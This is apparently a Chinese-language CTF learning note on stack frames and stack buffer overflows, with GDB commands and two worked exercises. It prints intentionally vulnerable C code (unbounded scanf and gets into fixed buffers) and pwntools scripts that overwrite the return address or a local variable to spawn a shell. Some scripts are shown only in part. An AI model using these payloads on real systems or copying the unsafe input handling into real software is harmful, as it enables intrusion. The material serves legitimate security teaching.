栈帧
栈帧是利用EBP寄存器访问栈类局部变量、参数、函数返回地址等手段。栈帧就是一个函数执行的环境。
汇编代码:
1 | PUSH EBP |
缓冲区溢出
最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。
栈缓冲区溢出攻击
栈缓冲区溢出攻击的一般是传入一个超长的带有shellcode的字符缓冲,覆盖栈中的EIP值,这样当函数执行完成返回后就会返回到有shellcode的地方,执行恶意代码
传入buf的长度大于所开数组的长度,所大于的那一部分就会向后面溢出
GDB基本命令
GDB是GNU开源组织发布的一个强大的UNIX下程序调试工具
- 启动gdb调试指定app: $gdb app
- 启动gdb,分屏显示源代码: $gdb -tui
- 重新运行调试的程序:(gdb) run
- 执行下一步:(gdb) ni
- 进入函数: (gdb) si
- 终止: (gdb) kill
- 随机x个数: pattc x
- 查找偏移数: patto
例题 X 3
P1
源代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void cmd()
{
system("sh");
}
void A()
{
char a[100];
scanf("%s",a);
return;
}
int main(){
A();
}
对P1进行分析。如果我们要得到shell,必须进入想办法进入cmd函数,然而main函数没有对cmd进行调用。在A函数中,因为开了一个大小为100的字符型数组,但对输入没有限制,因此存在着栈缓冲区漏洞可以进行利用。
栈的情况:
因此解决此题应有以下步骤:
- 找到cmd函数的入口地址
- 溢出利用在return address 处,使其return的地址位cmd函数的入口地址
使用objdump工具获得p1的汇编代码
图一:
然后复制代码,将其保存在文件中,ctrl+F查找即可得到cmd地址的值为1
0804846b
图二:
gdb调试,获得偏移量
要构造payload,我们首先要知道具体溢出了多少才能改变ret的值,也就是说为了精准确认ret的位置,才能对ret的值进行修改,从而使其进入cmd函数
打开gdb,进入调试界面
图三:
随机生成200个字符后,ni调试,输入这200个字符,得到错误信息的地址,使用patto即可获得偏移量
图四:
图五:
构造payload
得到偏移量112后,使用’任意字符’*112+cmd地址的值
这是需要用到小端序的知识,因为栈指针的字节数为4,所以要是系统正确读取地址的值,我们需要将其变为”\x6b\x84\x04\x08”
python脚本代码:
1 | from pwn import * //载入pwn模块 |
成功得到shell
图六:
p1 ret 滑行解法
原理:不用求出偏移量,直接填入的值使用随便一个ret地址的值,这样到了return address处将会反复执行【返回到自身】的操作,在其后加入正确cmd地址的值就可成功进入cmd
python代码1
2
3
4
5from pwn import*
a="\xa0\x84\x04\x08"*120+"\x6b\x84\x04\x08"
p=process("./p1")
p.sendline(a)
p.interactive();
图七:
3-13
源码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void A()
{
setvbuf(stdout, 0, _IONBF, 0);
srand(time(0) ^ getpid());
char buf[100];
int magic = rand();
gets(buf);
if (atoi(buf) == magic) {
puts("Okay...");
system("sh");
}
}
int main(){
A();
}
分析后可得,magic是rand()函数生成的一个随机数,如果用户输入的字符串转换为数字后与magic相同则可以进入下一步得到shell
同理可以使用栈溢出,由栈的特性与输入的性质可以得出,溢出的值将会修改magic。magic为int整形,为4字节,也就是说,要构造payload长度为104,使前四字节与后四字节相同
payload代码:
1 | from pwn import * |
图八: